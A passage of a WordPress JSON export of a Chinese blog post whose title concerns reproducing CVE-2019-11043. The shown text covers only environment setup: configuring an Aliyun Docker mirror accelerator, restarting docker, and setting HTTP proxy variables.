id=\"%E7%A7%91%E5%AD%A6%E6%8F%90%E9%80%9F\"><strong>\u79d1\u5b66\u63d0\u901f<\/strong><\/h2>\n<p>\u8fd9\u4e2a\u73af\u5883\u6211\u4e0b\u4e86\u5f88\u4e45\u6ca1\u4e0b\u4e0b\u6765\uff0c\u6211\u4e4b\u524d\u4e00\u76f4\u5728\u56fd\u5916\uff0c\u5bf9\u4e00\u4e9b\u6362\u6e90\u3001\u6362\u955c\u50cf\u4e0d\u719f\u6089\u3002<\/p>\n<ul class=\"ul-level-0\">\n<li><strong>\u65b9\u6cd5\u4e00\uff1a\u963f\u91cc\u4e91\u5bb9\u5668\u955c\u50cf\u52a0\u901f\u5668<\/strong><\/li>\n<\/ul>\n<p>URL\uff1ahttps:\/\/cr.console.aliyun.com\/cn-hangzhou\/instances\/mirrors<\/p>\n<p>\u8fdb\u53bb\u4e4b\u540e\u83b7\u53d6\uff1a<\/p>\n<figure class=\"\">\n<div class=\"image-block\"><img decoding=\"async\" class=\"\" data-original=\"https:\/\/ask.qcloudimg.com\/http-save\/yehe-6318226\/t68oegjgv8.png?imageView2\/2\/w\/1620\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"PHP\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u590d\u73b0\uff08CVE-2019-11043\uff09\u3010\u53cd\u5f39shell\u6210\u529f\u3011\u63d2\u56fe20\" alt=\"PHP\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u590d\u73b0\uff08CVE-2019-11043\uff09\u3010\u53cd\u5f39shell\u6210\u529f\u3011\u63d2\u56fe20\" \/><\/div>\n<\/figure>\n<p>\u7136\u540e\u914d\u7f6e docker \u6587\u4ef6\uff1a<\/p>\n<figure class=\"\">\n<div class=\"image-block\"><img decoding=\"async\" class=\"\" data-original=\"https:\/\/ask.qcloudimg.com\/http-save\/yehe-6318226\/i5anhqawns.png?imageView2\/2\/w\/1620\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"PHP\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u590d\u73b0\uff08CVE-2019-11043\uff09\u3010\u53cd\u5f39shell\u6210\u529f\u3011\u63d2\u56fe21\" alt=\"PHP\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u590d\u73b0\uff08CVE-2019-11043\uff09\u3010\u53cd\u5f39shell\u6210\u529f\u3011\u63d2\u56fe21\" \/><\/div>\n<\/figure>\n<p><code>\u6ce8<\/code>\uff1a\u4e0a\u9762\u7684\u662f\u963f\u91cc\u4e91\uff0c\u4e0b\u9762\u7684\u662f\u4e2d\u79d1\u9662\u3002\u963f\u91cc\u4e91\u7684\u66f4\u5feb\uff0c\u53ea\u7528\u963f\u91cc\u4e91\u5c31\u884c\u4e86\u3002<\/p>\n<p>\u7136\u540e restart \u4e00\u4e0b docker\uff1a<\/p>\n<div class=\"developer-code-block\">\n<pre class=\"prism-token token line-numbers language-javascript\" tabindex=\"0\"><code class=\"language-javascript\">sudo systemctl daemon<span class=\"token operator\">-<\/span>reload\r\nsudo systemctl restart docker<\/code><\/pre>\n<p><button class=\"copy\">\u590d\u5236<\/button><\/div>\n<p>\u7136\u540e\u5c31\u53ef\u4ee5\u4e86\uff01<\/p>\n<p>\u53c2\u8003\u94fe\u63a5\uff1a<\/p>\n<p>[1] \u955c\u50cf\u4e2d\u5fc3-\u955c\u50cf\u52a0\u901f\u5668 [2] \u5b98\u65b9\u955c\u50cf\u52a0\u901f \u64cd\u4f5c\u624b\u518c<\/p>\n<p>\u91cd\u542f docker \u4e4b\u540e\uff0c\u901f\u5ea6\u4eff\u4f5b\u6362\u4e86\u4e2a docker\uff0c\u5f88\u723d\u3002<\/p>\n<ul class=\"ul-level-0\">\n<li><strong>\u65b9\u6cd5\u4e8c\uff1a\u7cfb\u7edf\u4ee3\u7406<\/strong><\/li>\n<\/ul>\n<p>\u57fa\u4e8e http \u534f\u8bae\u7684\uff1a<\/p>\n<p>\u9700\u8981\u51ed\u636e\uff1a<\/p>\n<div class=\"developer-code-block\">\n<pre class=\"prism-token token line-numbers language-javascript\" tabindex=\"0\"><code class=\"language-javascript\"><span class=\"token keyword\">export<\/span> http_proxy<span class=\"token operator\">=<\/span><span class=\"token string\">\"http:\/\/\u7528\u6237\u540d:\u5bc6\u7801@ip:\u7aef\u53e3\u53f7\/\"<\/span>\r\n<span class=\"token keyword\">export<\/span> https_proxy<span class=\"token operator\">=<\/span><span class=\"token string\">\"http:\/\/\u7528\u6237\u540d:\u5bc6\u7801@ip:\u7aef\u53e3\u53f7\/\"<\/span><\/code><\/pre>\n<p><button class=\"copy\">\u590d\u5236<\/button><\/div>\n<p>\u65e0\u9700\u51ed\u636e\uff1a<\/p>\n<div class=\"developer-code-block\">\n<pre class=\"prism-token token line-numbers language-javascript\" tabindex=\"0\"><code class=\"language-javascript\"><span class=\"token keyword\">export<\/span> http_proxy<span class=\"token operator\">=<\/span><span class=\"token string\">\"http:\/\/ip:\u7aef\u53e3\u53f7\/\"<\/span>\r\n<span class=\"token keyword\">export<\/span> https_proxy<span class=\"token operator\">=<\/span><span class=\"token string\">\"http:\/\/ip:\u7aef\u53e3\u53f7\/\"<\/span><\/code><\/pre>\n<p><button class=\"copy\">\u590d\u5236<\/button><\/div>\n<p>\u6ce8\u610f\uff1a\u8fd9\u79cd\u547d\u4ee4\u884c\u8fd0\u884c\u662f\u4e34\u65f6\u7684\uff0c\u8981\u5168\u5c40\u7684\u8bdd\u52a0\u5165\u5230 <code>etc\/profile<\/code>\u3002<\/p>\n<p>\u57fa\u4e8e socks5 \u534f\u8bae\uff1a<\/p>\n<p>proxychains<\/p>\n<\/div>\n<\/div>\n<div class=\"col-2-article-source\">\n<div class=\"col-2-wechat-panel\">\n<div class=\"col-2-wechat-panel-inner\">\n<div class=\"col-2-wechat-panel-left\">\n<div class=\"col-2-wechat-panel-tip\">\u53c2\u8003\u539f\u6587\u5730\u5740https:\/\/cloud.tencent.com\/developer\/article\/1530703<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>\u6f0f\u6d1e\u63cf\u8ff0 CVE-2019-11043 \u662f\u4e00\u4e2a\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\uff0c\u4f7f\u7528\u67d0\u4e9b\u7279\u5b9a\u914d\u7f6e\u7684 Nginx + PHP-F [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[759,758,528],"class_list":["post-1127","post","type-post","status-publish","format-standard","hentry","category-net-security","tag-cve-2019-11043","tag-php","tag-528"],"_links":{"self":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts\/1127","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1127"}],"version-history":[{"count":0,"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts\/1127\/revisions"}],"wp:attachment":[{"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1127"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1127"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1127"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}